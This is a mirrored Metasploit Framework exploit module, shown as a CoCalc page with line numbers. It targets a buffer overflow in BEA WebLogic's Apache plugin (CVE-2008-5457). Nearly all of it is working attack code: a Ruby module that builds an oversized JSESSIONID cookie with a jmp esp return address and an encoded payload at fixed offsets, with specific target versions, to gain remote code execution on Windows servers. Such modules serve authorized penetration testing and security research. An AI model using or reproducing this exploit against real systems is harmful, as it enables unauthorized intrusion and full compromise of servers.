Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/bea_weblogic_jsessionid.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'BEA WebLogic JSESSIONID Cookie Value Overflow',
17
'Description' => %q{
18
This module exploits a buffer overflow in BEA's WebLogic plugin. The vulnerable
19
code is only accessible when clustering is configured. A request containing a
20
long JSESSION cookie value can lead to arbitrary code execution.
21
},
22
'Author' => 'pusscat',
23
'References' => [
24
[ 'CVE', '2008-5457' ],
25
[ 'OSVDB', '51311' ],
26
],
27
'DefaultOptions' => {
28
'EXITFUNC' => 'seh',
29
},
30
'Privileged' => true,
31
'Platform' => 'win',
32
'Payload' => {
33
'Space' => 800,
34
'BadChars' => "\x00\x0d\x0a\x20\x3B\x3D\x2C",
35
'StackAdjustment' => -3500,
36
},
37
'Targets' => [
38
[
39
'Windows Apache 2.2 - WebLogic module version 1.0.1136334',
40
{
41
'Ret' => 0x1006c9b5, # jmp esp
42
}
43
],
44
[
45
'Windows Apache 2.2 - WebLogic module version 1.0.1150354',
46
{
47
'Ret' => 0x1006c9be, # jmp esp
48
}
49
],
50
],
51
'DefaultTarget' => 1,
52
'DisclosureDate' => '2009-01-13',
53
'Notes' => {
54
'Reliability' => UNKNOWN_RELIABILITY,
55
'Stability' => UNKNOWN_STABILITY,
56
'SideEffects' => UNKNOWN_SIDE_EFFECTS
57
}
58
)
59
)
60
61
register_options(
62
[
63
Opt::RPORT(80)
64
]
65
)
66
end
67
68
def exploit
69
sploit = Rex::Text.rand_text_alphanumeric(10000, payload_badchars)
70
sploit[8181, 4] = [target.ret].pack('V')
71
sploit[8185, payload.encoded.length] = payload.encoded
72
73
request =
74
"POST /index.jsp HTTP/1.1\r\nHost: localhost\r\nCookie: TAGLINE=IAMMCLOVIN; JSESSIONID=" +
75
sploit +
76
"\r\n\r\n"
77
78
connect
79
sock.put(request);
80
handler
81
82
disconnect
83
end
84
end
85
86